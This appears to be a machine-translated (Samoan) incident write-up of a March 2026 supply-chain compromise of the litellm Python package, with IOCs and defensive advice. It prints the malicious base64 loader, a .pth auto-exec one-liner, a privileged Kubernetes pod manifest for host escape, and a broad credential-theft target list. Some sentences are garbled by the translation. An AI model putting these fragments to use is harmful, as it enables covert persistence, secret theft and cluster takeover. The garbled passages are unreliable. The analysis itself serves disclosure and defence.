Osofa'iga o le Sapalai a le LiteLLM

Osofa'iga o le Sapalai a le LiteLLM: Pe na Fa'apefea ona Fa'aletonu e le TeamPCP Atina'e Fa'atekonolosi Fa'atekonolosi

Aisea e Taua ai lenei Mea

I le aso 24 o Mati, 2026, o le afifi lauiloa o le Python litellm, o se faitoto'a sui LLM lautele e fa'aaogaina e le faitau afe o enterprises e fa'atautaia ai fefa'ataua'iga i le va o talosaga ma kamupani tu'uina atu AI e pei o le OpenAI, Anthropic, Google, ma le AWS Bedrock, na fa'aleagaina faalilolilo i luga o le PyPI. E lua lomiga fa'aleagaina (1.82.7 ma le 1.82.8) na lolomiina i totonu o le 13 minute le va, ma o lo'o tauaveina ai se uta e tele-vaega na gaoia ai fa'amaoniga, fa'ate'aina mea lilo o le ao, salalau atu i autafa i totonu o vaega o Kubernetes, ma fa'apipi'i ai se backdoor tumau ma gafatia fa'atino tulafono mamao.

Ma le tusa 3.6 miliona faila e sii mai i aso taitasi ma le faʻatinoina loloto i totonu o atinaʻe faʻapitoa o le AI i le ao, o loʻo i ai le litellm i le fetaulaiga o mea uma e manaʻo i ai tagata osofaʻi faʻaonaponei: ki API mo kamupani tetele uma o loʻo tuʻuina atu le AI, faʻamaoniga o le IAM i le ao, mea lilo a Kubernetes, ma ki SSH.

Peitaʻi, o le maliliega faaletulafono e leʻi na o se mea na tupu faʻatasi. O le tumutumuga lea o se tauvaga e lima aso, e lima siosiomaga e se tagata fai faamataʻu e taʻua o TeamPCP, o se tauvaga na muamua faʻaleagaina ai masini suʻesuʻe saogalemu (Aqua Trivy, Checkmarx KICS), ona faʻaaogaina lea o mea na gaoia CI/CD fa'amaoniga e fa'asolosolo malie atu i le npm, OpenVSX, ma mulimuli ane PyPI. Na fa'aaogaina e le au osofa'i ia meafaigaluega tonu lava e fa'alagolago i ai fa'alapotopotoga e puipuia ai a latou sapalai.

O lenei osofaʻiga o loʻo faʻatusalia ai se suiga laʻasaga i le faigata o le faʻamataʻu o le sapalai. O le mamanu e tele-hop, cross-system, ma faʻaleagaina ai meafaigaluega saogalemu e oʻo atu ai i le taua tele Atina'e fa'atekonolosi fa'a-AI, O lo'o atagia mai ai le tulaga o le fuafuaina ma le matua o le fa'agaioiga e ogatasi ma le fa'ateleina o le fa'aaogaina o meafaigaluega fa'atau mo osofa'iga. O uta na toe fa'afouina i le taimi moni (e tolu ituaiga o uta o lo'o aliali mai i le code puna, e aofia ai lomiga muamua na fa'amatalaina), o le atina'e C2 na resitalaina i le aso a'o le'i faia le osofa'iga, ma o vaega o le exfiltration na filifilia ma le fa'aeteete e fa'ata'ita'i ai le atina'e fa'atau oloa fa'atulafonoina. O le fa'amaumauga fa'amaonia atoatoa, e aofia ai vaega e 15+ e aofia ai sini fa'apitoa e pei o ki sainia a Cardano ma fa'atulagaga WireGuard, e fa'ailoa mai ai se tulaga o le fa'atinoina mae'ae'a e fa'asino atu i le atina'eina o polokalama fa'aleaga e fesoasoani i le AI o se fa'ateleina malosi.

taimi faatulagaina

Aso (UTC) mea na Tutupu
Mati 19 Ua fa'aleagaina e le TeamPCP ia Aqua Trivy GitHub Action tags, ma suia i ni code leaga e fa'a'ese'ese mai fafo. CI/CD mealilo mai fale teuoloa i lalo
Mati 21 Ua fa'alautele atu le fa'aletonu i le Checkmarx KICS ma le AST GitHub Actions e fa'aaoga ai ni metotia fa'apena
22 Mati, 06:35 BerriAI fa'asalalau litellm 1.82.6 (fa'asologa mama mulimuli) e ala i masani CI/CD pipeline e fa'aaogaina le Trivy mo le su'esu'eina o le saogalemu
Mati 23 E resitalaina e le TeamPCP le models.litellm.cloud (exfiltration domain). E ono lamatia ai le silia ma le 66 npm packages ma OpenVSX extensions.
24 Mati, 10:39 litellm 1.82.7 ua lolomiina i le PyPI -- ua tuiina le uta i totonu proxy_server.py i le lautele o le module. Fa'atino i le taimi e fa'aulufale mai ai
24 Mati, 10:52 litellm 1.82.8 lomia i le 13 minute mulimuli ane -- fa'aopoopo litellm_init.pth, o se fa'amau fa'atulagaina o le ala Python e fa'atinoina i luga o fa'aliliu upu uma a le Python, e le na'o le litellm imports. E fa'aalia ai le vave o le fa'agasologa o uta
Mati 24, ~16:00 E aveese e le PyPI lomiga uma e lua pe a uma ona lipotia mai e le nu'u. E tape atoa lomiga (ae le'i aveeseina) mai le fa'asinomaga, e ui lava e mafai ona maua pea tarballs CDN.

Vaitaimi e faʻaalia ai: pe tusa ma le 5.5 itula. I le taimi lea, so'o se pip install litellm, pip install --upgrade litellm, pe CI/CD pipeline o le tosoina o le lomiga aupito lata mai semanu e faʻatinoina ai le uta.

Le Auala na Ulufale Mai ai le Malware: O le Fa'alavelave Fa'asolosolo

E le'i solia sa'o le afifi litellm. Na maua e le tagata osofa'i e ala i se osofa'iga o le filifili sapalai e lua-hop:

Aqua Trivy GitHub Action (compromised March 19)     --> LiteLLM CI/CD pipeline runs Trivy without pinned version         --> Malicious Trivy exfiltrates PYPI_PUBLISH token from GitHub Actions runner             --> Attacker publishes poisoned litellm 1.82.7 and 1.82.8 directly to PyPI

LiteLLM's CI/CD pipeline na faʻaaogaina Trivy e fai ma masini suʻesuʻe saogalemu — o le meafaigaluega tonu lava lea na mamanuina e puʻe ai vaivaiga o ia lava lea o le auala e osofaʻia ai. Aua o le pipeline Trivy fa'asino i ai e ala i le mutable tag nai lo le pine commit SHA, na otometi lava ona fa'agaoioia le gaioiga ua fa'aleagaina. O le gaioiga leaga a Trivy na fa'a'esea ai mea lilo o le siosiomaga, e aofia ai le PYPI_PUBLISH fa'ailoga, e maua ai e le TeamPCP le avanoa tuusa'o e lolomi ai i le galuega faatino a le litellm PyPI.

O lenei fuafuaga "fa'amalieina leoleo" o se fa'ailoga iloga lea o le tauvaga a le TeamPCP. I le fa'atatauina muamua o meafaigaluega saogalemu (Trivy, Checkmarx KICS), na fa'agata ai e le au osofa'i le iloa ma maua ai le avanoa fa'apitoa i filifili sapalai i lalo ifo.

Su'esu'ega Fa'atekinolosi: O le Avega

Itu'i tui

Version 1.82.7 — Fa'atinoina o le tulaga o le module i totonu litellm/proxy/proxy_server.py (laina 128):

import subprocess, base64, sys, tempfile, os  b64_payload = "<~12KB base64 blob>"  with tempfile.TemporaryDirectory() as d:     p = os.path.join(d, "p.py")     with open(p, "wb") as f:         f.write(base64.b64decode(b64_payload))     subprocess.run([sys.executable, p])

O lenei code e tu i le va o le module scope i le va o le literal dictionary ma le original. showwarning() galuega faatino. E faatino loa pe a litellm.proxy.proxy_server ua aumaia — lea e tupu i soʻo se faʻaaogaina o le galuega faatino a le litellm.

Version 1.82.8 — Faaopoopo litellm_init.pth (Faila fa'atulagaina o le ala Python):

import os, subprocess, sys; subprocess.Popen([sys.executable, "-c", "import base64; exec(base64.b64decode('...'))"], ...) 

Python .pth faila i totonu site-packages/ e fa'agasolo i taimi uma e amata ai le fa'aliliuupu, ae na'o laina e amata i le import e fa'atinoina o se code. E fa'aaogaina e le tagata osofa'i lenei mea e ala i le fa'apipi'iina o le uta atoa i luga o le tasi import faʻamatalaga: import os, subprocess, sys; subprocess.Popen(...). E sili atu le malosi o lenei mea nai lo le tui o le proxy_server.py — e fa'agaoioia tusa lava pe le'i fa'aulufaleina mai le litellm, i taimi uma e fa'alauiloa ai le fa'agasologa o le Python. pyproject.toml na suia ina ia aofia ai lenei faila i le tufatufaina atu:

include = [     { path = "litellm_init.pth", format = ["sdist", "wheel"] } ]

O lea la ua i ai i le Lomiga 1.82.8 auala fa'atino tuto'atasi e lua: o le tui o le proxy_server.py (e fa'agaoioi i le litellm proxy import) ma le faila .pth (e fa'agaoioi i so'o se Python startup). O le toe fa'aopoopoina e iloga lava - e puipuia ai mai le iloa po'o le ave'esea o so'o se tasi o auala na'o ia. O le fa'ateleina mai le taimi e fa'aulufale mai ai i le fa'atinoina o le taimi e amata ai i le na'o le 13 minute talu ona mae'a le 1.82.7 o lo'o fa'ailoa mai ai o lo'o mata'ituina e le tagata osofa'i le manuia o le fa'atinoina ma vave ona toe faia.

Vaega 1: Fa'amaumauga Atoatoa o Fa'amaoniga

O le tusitusiga i totonu ua fa'aliliuina o se fa'atagaga fa'apitoa e leai se fa'amaoniga. E fa'aaogaina os.walk()glob.glob()subprocess.check_output(), ma faitau tuusaʻo faila e faʻasalalau ai le polokalama atoa:

katekoli manulauti
Toe iloiloga o le polokalama hostname, whoami, uname -a, ip addr, printenv, ip route
SSH ~/.ssh/id_rsa, id_ed25519, id_ecdsa, authorized_keys, known_hosts, config; ki talimalo mai /etc/ssh/
Ao (AWS) ~/.aws/credentials, ~/.aws/config; Fa'amaoniga o matafaioi a le IMDS e ala i 169.254.169.254Pule o Mea Faalilolilo ListSecretsSSM DescribeParameters
Ao (GCP) ~/.config/gcloud/ (toe fai); $GOOGLE_APPLICATION_CREDENTIALS
Ao (Azure) ~/.azure/ (toe fai); fesuia'iga o le siosiomaga
Kubernetes Fa'ailoga o le teugatupe tautua; ca.crt; avanoa igoa; kubectl get secrets --all-namespaces; mea lilo uma e ala i le K8s API
Faila o le siosiomaga .env, .env.local, .env.production, .env.development, .env.staging — su'esu'eina fa'asolosolo (loloto 6) i le isi itu /home, /root, /opt, /srv, /var/www, /app, /data, /tmp
Docker ~/.docker/config.json, /kaniko/.docker/config.json
Fa'ailoga afifi ~/.npmrc, ~/.vault-token, ~/.netrc
utufaamatalaga faaeletonika ~/.pgpass, ~/.my.cnf, /etc/mysql/my.cnf, /etc/redis/redis.conf, fa'atulagaga o le MongoDB
TLS / SSL Ki tumaoti mai /etc/ssl/private/, Se'i o tatou fa'ailogaina tusi fa'amaonia, uma .pem/.key/.p12/.pfx faila
Git ~/.git-credentials, ~/.gitconfig
CI/CD terraform.tfvars, terraform.tfstate, .gitlab-ci.yml, Jenkinsfile, ansible.cfg
Crypto atotupe Bitcoin, Ethereum keystore, Solana keypairs (validator, palota, stake, faucet), Cardano signing keys, Litecoin, Dogecoin, Zcash, Dash, Ripple, Monero
Talafa'asolopito o le atigi .bash_history, .zsh_history, .mysql_history, .psql_history, .rediscli_history
Fa'amaoniga o le polokalama /etc/passwd, /etc/shadow, fa'amaumauga fa'amaonia (sauniga SSH taliaina)
Ki o le Webhook/API Grep mo le upega tafaʻilagi Slackhooks, Upega tafaʻilagi a le Discordhooks, ki/mea lilo API i faila fa'atulagaina
VPN Fa'atulagaga a le WireGuard mai /etc/wireguard/

E lautele le lautele o lenei masini selesele. E le gata ina faʻatatau i faʻamaoniga o le ao ae faʻapea foʻi i atotupe cryptocurrency, upu faʻalilolilo o faʻamaumauga, faʻatulagaga VPN, ma CI/CD mea lilo — o loʻo faʻaalia ai o loʻo fuafua le tagata osofaʻi e faʻatupeina polokalama ua faʻaleagaina i le tele o auala.

Laasaga 2: Fa'ailoga Fa'ailoga

O faʻamatalaga gaoia e faʻailogaina ma aveese faʻamatalaga e faʻaaoga ai se faiga faʻailoga faʻafefiloi:

  • AES-256-CBC fa'ailoga o fa'amaumauga uma na aoina i se ki fa'afuase'i o le sauniga e 32-byte (e ala i le openssl enc)
  • RSA-4096 fa'ailogaina o le ki o le sauniga e fa'aaoga ai le ki lautele ua fa'apipi'iina a le tagata osofa'i (OAEP padding, e ala i openssl pkeyutl)
  • O faila ciphertext uma e lua ua fa'apipi'iina e pei o tpcp.tar.gz (o le tpcp (prefix — “TeamPCP” — e aliali mai pea lava pea i le tauvaga atoa)
  • HTTPS POST i le https://models.litellm.cloud/ i Content-Type: application/octet-stream

Le vaega models.litellm.cloud na resitalaina ia Mati 23 — tasi le aso a'o le'i o'o i le osofa'iga — ma ua mamanuina e fa'afefiloi ma atina'e fa'aletulafono fa'aletulafono (o le galuega moni e fa'aaogaina litellm.ai). E oʻo lava i se tagata puipuia e iloa lelei fesoʻotaʻiga o loʻo iloiloina le feoaʻiga i fafo atonu e le faʻailoaina le feoaʻiga i le mea e foliga mai o le faʻaiʻuga faʻataʻitaʻiga a litellm lava ia.

Vaega 3: Fa'aauau pea o le Backdoor (sysmon.py)

E fa'apipi'i e le uta se faitoto'a palota e pei o se telemetry o le polokalama:

  • Ala~/.config/sysmon/sysmon.py
  • tautuasysmon.service (iunite fa'aoga fa'atulagaina, ua fa'amatalaina o le "System Telemetry Service")
  • Amioga: A maeʻa se moe muamua e 300 sekone, palota https://checkmarx.zone/raw i minute taitasi ~50
  • faatinoga: La'uina mai le URL na toe faafoi mai e le C2 i /tmp/pglog, setiina e mafai ona faʻatinoina (chmod 755), fa'atinoina i se sauniga tu'ueseese
  • Siakiina o le tulaga/tmp/.pg_state taofia ai le toe la'uina mai o le uta lava e tasi
  • TumauRestart=alwaysRestartSec=10 — e sao mai fa'alavelave ma toe amata

Le vaega checkmarx.zone o se fa'aliliuga sese lea o le Checkmarx (le kamupani saogalemu i checkmarx.com), ua mamanuina ina ia mafai e le au su'esu'e SOC o lo'o iloiloina fa'amaumauga o feso'ota'iga ona va'ai i feoa'iga i mea e foliga mai o se fa'atau oloa saogalemu fa'atulafonoina. O se metotia fa'amoemoeina lea e aloese ai e ogatasi ma le fuafuaga lautele a le TeamPCP o le lafi i tua o le fa'ailogaina o le fa'atau oloa saogalemu.

Vaega 3b: Gaioiga Fa'ata'amilomilo a Kubernetes

Afai o loʻo iai i le polokalama ua faʻaleagaina faʻamaoniga o le teugatupe tautua Kubernetes, o le a faʻamaumauina e le malware ia cluster nodes uma ma faʻapipiʻi pods fa'apitoa i tagata taʻitoʻatasi:

pod_manifest = {     'apiVersion': 'v1', 'kind': 'Pod',     'metadata': {'name': f'node-setup-{node_name[:35]}', 'namespace': 'kube-system'},     'spec': {         'nodeName': node_name,         'hostPID': True, 'hostNetwork': True,         'tolerations': [{'operator': 'Exists'}],         'containers': [{             'name': 'setup',             'image': 'alpine:latest',             'command': ['sh', '-c', drop_cmd],             'securityContext': {'privileged': True},             'volumeMounts': [{'name': 'host', 'mountPath': '/host'}]         }],         'volumes': [{'name': 'host', 'hostPath': {'path': '/'}}],         'restartPolicy': 'Never'     } }

Pod taʻitasi:

  • Tamo'e e pei o avanoa i hostPIDhostNetwork, ma le avanoa atoa i le polokalama faila a le 'au talimalo
  • faaaogaina chroot /host e faʻapipiʻi tutusa sysmon.py faitoto'a i tua i luga o le faila o le a'a a le 'au talimalo
  • Resitalaina o se tautua systemd, ma ia mautinoa o le tumau e sao mai le tapeina o pod
  • Igoa node-setup-* i le kube-system namespace e foliga mai o se atina'e fa'atulafonoina o le cluster

O lona uiga a tasi ua faaleagaina CI/CD O le tagata tamoe e iai le avanoa K8s e ono iʻu ai i le faʻalavelaveina o node uma i le cluster — o se faʻataʻitaʻiga mataʻutia o le gaioiga faʻasolosolo mo faʻalapotopotoga o loʻo faʻaaogaina le litellm e fai ma sui i Kubernetes.

Atina'eina o le Payload (Fesuiaiga ua Fa'amatalaina)

O le code source i laina 131-132 o loʻo i ai ni suiga se lua o le payload na faʻamatalaina muamua, o loʻo faʻaalia ai le faagasologa o le atinaʻeina o le tagata osofaʻi:

  • O ituaiga uma e tolu fa'asoa le fausaga tutusa o le fa'amamāina o otaota (models.litellm.cloud), ki lautele RSA-4096, afifi fa'ailoga fa'afefiloi AES-256-CBC + RSA, ma tpcp.tar.gz faaigoaina o le afifi
  • Fa'asologa muamua fa'aopoopoina se Vaega fa'ailoga RC4 i totonu o le tusitusiga aoina fa'amaumauga, fa'ailogaina fa'amaumauga ua seleseleina a'o le'i o'o i le afifi pito i fafo o le AES+RSA. O le uta galue (laina 130) ua fa'afaigofieina e ala i le aveeseina o lenei vaega i totonu o le RC4
  • O fa'ata'ita'iga muamua na fa'aaogaina exec() i StringIO pu'e e fa'agaoioi ai le aoina o lo'o fa'agasolo, a'o fa'aogaina e le uta galue subprocess.run() fa'atasi ai ma le stdout redirect - o se vavae'esega mama e 'alofia ai le fa'aleagaina o le fa'agasologa o le 'au talimalo
  • O ituaiga uma e tolu e fa'atatau i vaega tutusa o fa'amaoniga ma auala e aoina ai
  • O le ki RC4 i faʻaliliuga muamua o se faʻalumaina faʻaosofia, e ogatasi ma le amioga a le tagata fai ata tifaga e sailia le gauai i luga o le Telegram.

O lenei mea ua faaalia ai le atinaʻeina o le atinaʻe i le taimi o le faʻagaioiga. Na faʻafaigofieina e le tagata osofaʻi le faʻaputuga faʻailoga ma faʻaleleia atili le vavaeʻeseina o le faʻatinoga aʻo faʻatumauina pea le mautu o sini o le aoina ma le atinaʻe o le exfiltration.

Fa'ailoga o le Fete'ena'iga (IOCs)

Network

Faailoilo ituaiga faʻamoemoe
models.litellm.cloud Domain Fa'ai'uga fa'amuta (HTTPS POST)
checkmarx.zone Domain Fa'ai'uga o le palota C2 (HTTPS GET /raw)

Fa'amatalaga: So'otaga i lipoti mai fafo checkmarx.zone/static/checkmarx-util-1.0.4.tgz i le vaega muamua o le KICS o le tauvaga a le TeamPCP. E le'i maua lenei URL i uta litellm na iloiloina iinei.

Afifi Hashes

faila SHA256
litellm-1.82.7.tar.gz 8a2a05fd8bdc329c8a86d2d08229d167500c01ecad06e40477c49fb0096efdea
litellm-1.82.8.tar.gz d39f4e7a218053cce976c91eacf184cf09a6960c731cc9d66d8e1a53406593a5

Faiga o Faigaluega

Faailoilo ituaiga faʻamoemoe
~/.config/sysmon/sysmon.py faila Tusitusiga faifai pea o le backdoor
~/.config/systemd/user/sysmon.service faila Iunite fa'aauauina fa'atulagaina
/tmp/pglog faila Ua sii mai le binary vaega lona lua
/tmp/.pg_state faila Siakiina o le tulaga C2
litellm_init.pth in site-packages/ faila Fa'aoga amata Python (v1.82.8 lava)
tpcp.tar.gz faila Afifi fa'a'ese'ese fa'ailoga fa'alilolilo

Kubernetes

Faailoilo ituaiga faʻamoemoe
node-setup-* pods i totonu kube-system Vae Potu fa'apitoa mo le gaioiga i autafa
sysmon.service i luga o nodes cluster tautua Fa'aauau pea le tulaga talimalo e ala i le pod escape

Faʻafanua

Faailoilo auiliiliga
Ki lautele a le tagata osofa'i RSA-4096 Fa'ailoga tamatamailima SHA256: bc40e5e2c438032bac4dec2ad61eedd4e7c162a8b42004774f6e4330d8137ba8. Fa'apipi'iina i totonu o suiga uma e tolu o le uta; o le ki lava e tasi na lipotia i isi galuega a le TeamPCP.
tpcp upu fa'aopoopo i mea taulima Faiga fa'aigoaina o afifi (tpcp.tar.gz) e tutusa i le tauvaga atoa

Fa'asinomaga: TeamPCP

O le tagata taufaamataʻu i tua atu o lenei tauvaga ua mataʻituina e pei o TeamPCP, e ta'ua fo'i o PCPcat, Persy_PCP, ShellForce, ma le DeadCatx3.

Uiga ua iloa:

  • Tausia auala Telegram i @Persy_PCP ma @teampcp lea na latou tauemu ai i kamupani saogalemu
  • Fa'agaoioia i le tele o si'osi'omaga (GitHub Actions, PyPI, npm, OpenVSX)
  • Fa'aaogā vaega typosquat fa'apitoa a le fa'atau'oloa mo vaega ta'itasi o le tauvaga (e pei o le, checkmarx.zone mo Checkmarx, models.litellm.cloud mo le litellm)
  • Fa'ailoga tutusa o atina'e: tutusa le pea o ki RSA, tpcp.tar.gz feagaiga o le faaigoaina, tpcp-docs-* O lo'o fa'aaogaina nofoaga teu oloa a le GitHub e fai ma fa'atulagaga e le toe fa'aaogaina
  • Fa'atatau i meafaigaluega saogalemu e fai ma auala e ulufale atu ai i filifili sapalai i lalo ifo

Talitonuga i le fa'asinomagaMaualuga. O le ki lautele a le RSA ua fa'asoa, tpcp O le faaigoaina o mea totino, le felagolagomaʻi o atinaʻe C2, ma le saoasaoa o le faʻagaioiga i le tauvaga e lima aso e fesoʻotaʻi vavalalata ai le Trivy, KICS, npm, OpenVSX, ma le litellm i le tagata fai mea lava e tasi.

Motugaafa: Atonu o le itu tau tupe (gaoi o le atotupe crypto, fa'atupeina o fa'amaoniga o le ao) fa'atasi ai ma le lauiloa (fa'atauemu i le Telegram). O le lautele o le seleseleina o fa'amaoniga - mai le AWS IAM i le Solana validator keypairs i le WireGuard configs - o lo'o fa'ailoa mai ai se tagata fai pisinisi e naunau i tupe o lo'o sailia le fa'ateleina o le ROI mai fa'alavelave ta'itasi.

Fesoasoani fa'a-AI e ono mafaiO le fa'amaumauga o fa'amaoniga e atoatoa lelei — e silia ma le 15 vaega e aofia ai ni fa'amoemoega fa'apitoa e pei o ki sainia a Cardano, fa'atulagaga o WireGuard, ma fa'amaoniga a Kaniko Docker — i se auala e ogatasi ma le fa'amaumauga fesoasoani a le AI. O le saoasaoa o le fa'agasologa o uta (tolu ituaiga eseese ma ni fuafuaga fa'ailoga eseese), fa'amaopoopoina o si'osi'omaga i le va o si'osi'omaga (5 si'osi'omaga i le 5 aso), ma le fa'agaioiga o le OPSEC (vaega e fa'ata'ita'i i le fa'atau oloa, fa'ailoga fa'afefiloi, fa'atumauina o le systemd e pei o le telemetry) e fautua mai ai se tulaga o le gaosiga e ono atagia ai le atina'e fesoasoani a le AI o se fa'atelega malosi. O lenei iloiloga e taumatemate; e mafai e tagata fa'agaioia tomai ona ausia se lautele tutusa e aunoa ma meafaigaluega a le AI.

TTP Fou ma Metotia

1. Fa'aleagaina o le Sapalai o Meafaigaluega Saogalemu (T1195.002 variant)

O le fa'aleagaina o masini su'esu'e saogalemu (Trivy, KICS) o se fa'alavelave fou lea e fa'atino ai le fa'atinoina o sini i lalo ifo o se fa'alavelave fou. E le gata ina fa'aleagaina e le tagata osofa'i se faletusi - ae na latou fa'aleagaina fo'i meafaigaluega e fa'aaogaina e fa'alapotopotoga e fa'atino ai. maua faletusi ua fa'aleagaina. O lenei mea e mafua ai se vaega e le o iloa: o le scanner e tatau ona pu'eina le code leaga o ia lava lea o le auala e tu'uina atu ai.

2. Python .pth Fa'aauauina o Faila (T1546)

le litellm_init.pth e matuā fa'alilolilo lava le metotia i le v1.82.8. Python .pth faila i totonu site-packages/ e fa'agasolo i taimi uma e amata ai le fa'aliliuupu; so'o se laina e amata i le import e fa'atinoina o se tulafono. I le fa'apipi'iina o le uta i luga o le tasi import fa'amatalaga, e fa'atinoina e le tagata osofa'i le fa'atinoga i faiga uma a Python - e le gata i le taimi e fa'aulufale mai ai le litellm. O lona uiga e fa'agaoioia le uta e tusa lava pe fa'apipi'i le litellm ae le fa'aaogaina, ma e sao mai le toe fa'aleleia e sui ai le fa'aletonu ua fa'aleagaina .py faila e aunoa ma le siakiina .pth faila.

3. Kubernetes Cluster-Wide Lateral Movement e ala i le Privileged Pod Deployment (T1610, T1611)

O le fatuina otometi o pods fa'apitoa i luga o node cluster uma — fa'atasi ai ma hostPIDhostNetwork, fa'apipi'iina o le faila o le 'au talimalo, ma chroot e faʻapipiʻi le persistence — filifili le faʻapipiʻiina o le koneteina (T1610) faʻatasi ai ma le sola ese i le 'au talimalo (T1611) e liua ai se galuega e tasi ua faʻaleagaina i se faʻaletonu atoa o le cluster.

4. Fa'atau'oloa e Fa'ata'ita'i i le C2 Infrastructure

faaaogaina models.litellm.cloud (fa'ata'ita'i litellm) ma checkmarx.zone (e fa'ata'ita'i i le Checkmarx) e pei ona mamanuina ai le C2/exfil endpoints e 'alo 'ese ai mai le mata'ituina o feso'ota'iga. O le a va'aia e le au su'esu'e SOC o lo'o iloiloina le feoa'iga i fafo ni feso'ota'iga HTTPS i mea e foliga mai o 'upega tafa'ilagi fa'atau oloa fa'atulafonoina.

5. Fa'agasologa vave o le uta i totonu o le va'alele

O le lolomiina o le v1.82.7 ma le fa'atinoina o le taimi e aumai ai, ona sosoo ai lea ma le v1.82.8 ma le fa'atinoina o le taimi e amata ai i le 13 minute mulimuli ane, e fa'aalia ai le mata'ituina ma le fetu'una'i e le tagata osofa'i i le taimi moni. O fesuiaiga o uta ua fa'amatalaina (fa'atasi ai ma faiga fa'ailoga eseese) ua teuina i le code puna e fa'amaonia ai le atina'e malosi i le taimi o le fa'agaioiga.

O le a le mea e mafai ona fai

O lenei osofaʻiga e faʻaaogaina le faʻatuatuaga i vaega taʻitasi: faʻatuatuaga i meafaigaluega saogalemu, faʻatuatuaga i resitala afifi, faʻatuatuaga i vaega e foliga masani ai, faʻatuatuaga i CI/CD otometi. O le puipuia mai ai e manaʻomia ai le faʻamaʻaʻaina o nei tuaoi faʻatuatuaga taʻitasi:

Mo Tagata Fa'atau Afifi

  • Fa'apipi'i fa'alagolago i pine e ala i le hash, ae le na'o le version. pip install litellm==1.82.6 --hash=sha256:... semanu e taofia ai lomiga ua faaleagaina mai le faapipiiina e tusa lava pe na aliali mai puupuu o le lomiga aupito lata mai.
  • Faaaoga faila loka. pip-compilepoetry.lock, ma uv.lock pu'eina fa'aliliuga sa'o ma hashes. CI/CD e tatau ona faʻapipiʻi mai faila loka, ae le o mai faʻamatalaga faʻapitoa o lomiga o loʻo fetolofi.
  • Mataitu mo .pth faila. Su'etusi e le aunoa site-packages/ mo le fa'afuase'i .pth faila — latou te faʻatinoina i luga o amataga uma o Python ma o se faiga faʻaauau e le o talisapaia.
  • Fa'atino ni pulega o feso'ota'iga e alu ese ai. O le fa'amamāina i fafo i models.litellm.cloud ma le palota a le C2 i checkmarx.zone semanu e mafai ona maua e ala i le fa'amama ese mai le lisi fa'atagaina i totonu o siosiomaga gaosiga.

Mo Tagata Tausi Afifi

  • pine CI/CD gaioiga e commit SHA, ae le o le pine. LiteLLM's pipeline na fa'aaoga le Trivy e aunoa ma se fa'amauina. Afai na fa'asino i ai aquasecurity/trivy-action@<commit-sha> nai lo le @latest, semanu e le faatinoina le gaioiga ua faia i se auala ua faaleagaina.
  • Faaaoga fa'ailoga lolomi e le tumau ma e iai ni fa'ailoga fa'apitoa. E lagolagoina e le PyPI le Trusted Publishers (faʻavae i le OIDC) ma le scoped API tokens. O le exfiltrated PYPI_PUBLISH E le tatau ona umi se taimi e mafai ai ona lolomiina le fa'ailoga ma e le fa'atapula'aina.
  • Fa'agaoioia le fa'amaoniga e lua-vaega i le PyPI. Manaʻomia le 2FA mo i latou uma e tausia ma faʻaaoga ki saogalemu o masini komepiuta pe a mafai.
  • Afifi fa'ailoga. O fa'amaoniga a le Sigstore/PEP 740 e mafai ai e tagata fa'atau ona fa'amaonia na fausia se afifi e le mea na fa'amoemoeina. CI/CD pipeline, ae le o se tagata osofa'i ma se fa'ailoga na gaoia.

Mo Tagata Fa'agaoioia o le Platform (PyPI, npm, GitHub)

  • Iloa ni mamanu e le masani ai o le lolomiina. E lua lomiga fou e lolomiina i le va o le 13 minute, mai se IP po'o se token ese mai le masani, e tatau ona fa'agaoioia ai le taofi mo le iloiloga po'o le su'esu'ega otometi a'o le'i mafai ona fa'apipi'iina le afifi.
  • Fa'avavevave le taliaina o le Trusted Publishers. O lomitusi faʻavae a le OIDC e fesoʻotaʻi afifi i fale teu oloa ma faiga faʻatino patino, ma faʻaogaina ai faʻailoga gaoia e le aoga i tua atu o le uluai kopi. CI/CD anotusi
  • Fa'atino le su'esu'ega o polokalama fa'aleagaina i le taimi e fa'asalalau ai. O le payload ua fa'aliliuina i le base64 i le proxy_server.py o le a mafai ona iloa e ala i le su'esu'ega tumau i le taimi e lolomiina ai.

Mo le Siosiomaga

  • Taulima meafaigaluega tau le saogalemu o ni mea taua. E fa'aaogaina e le faitau miliona o tagata le Trivy ma le Checkmarx KICS. pipelines. E tatau ona sainia, fa'amauina, ma mata'ituina a latou GitHub Actions i le tutusa lelei ma afifi latou te su'esu'eina.
  • Fa'afaigaluega i le iloa o le taimi e fa'agaoioi ai. E le mafai e le au'ili'iliga tumau ona pu'eina uma metotia fa'alilolilo. Mata'ituina taimi fa'atino o le fa'apipi'iina o le afifi hooks, fesoʻotaʻiga fesoʻotaʻiga e leʻi faʻamoemoeina, ma mamanu masalomia o le ulufale atu i faila e maua ai le puipuiga loloto.
  • Faasoa atu faʻamatalaga taufaamataʻu i se taimi vave. E mafai ona pu'upu'u le vaitaimi e 5.5 itula mo le fa'aalia o le litellm pe ana vave le feso'ota'iga a le 'au fa'atau oloa. Na iloa e auaunaga su'esu'ega otometi e pei o le Xygeni MEW, Socket, ma Snyk le mea sese — o le fa'alavelave o le fa'amaoniga a tagata ma le taimi e tali atu ai le resitala.

iʻuga

O le tauvaga a le TeamPCP o se taimi tāua tele mo software supply chain security. I le fa'aleagaina muamua o masini su'esu'e saogalemu ma fa'aaogaina o ni la'asaga i atina'e taua o le AI, na fa'aalia ai e le au osofa'i e fa'apea o le sapalai e na'o le malosi e pei o lona fa'alagolago vaivai, ma o lena fa'alagolago atonu o le meafaigaluega saogalemu e te fa'atuatuaina e puipui ai oe.

O le maliega a le litellm e faʻamamafa faapitoa ai le lamatiaga o loʻo faʻatupulaʻia i atinaʻe o le AI. A o avea le LLM proxy gateways ma standard mamanu mo enterprise I le faʻaaogaina o le AI, latou te faʻapipiʻi le avanoa i ki API, faʻamaoniga o le ao, ma faʻamatalaga taua i totonu o le vaega e tasi. O le faʻaleagaina o lena vaega o se ki autu lea i le faʻaputuga atoa o le AI.

O faʻalapotopotoga na faʻapipiʻi le litellm 1.82.7 poʻo le 1.82.8 i le taimi o le 5.5 itula e tatau ona vaʻaia lenei mea o se faʻaletonu atoa o tusipasi: faʻafesuiaʻi mea lilo uma i luga o polokalama ua aʻafia, siaki vaega o Kubernetes mo node-setup-* pods i totonu kube-system, aveese so'o se mea sysmon.service iunite fa'atulagaina, ma siaki mo litellm_init.pth i le Python site-packages/ fa'asinomaga. Tagata fa'aoga o le ata aloaia a le Docker (ghcr.io/berriai/litellm) e le'i a'afia, aua na fa'amau e le ata ona fa'alagolago ma e le'i toe fausia i le taimi o le fa'aaliga.

E tusa o le Tusitala

Co-Fa'avae & CTO

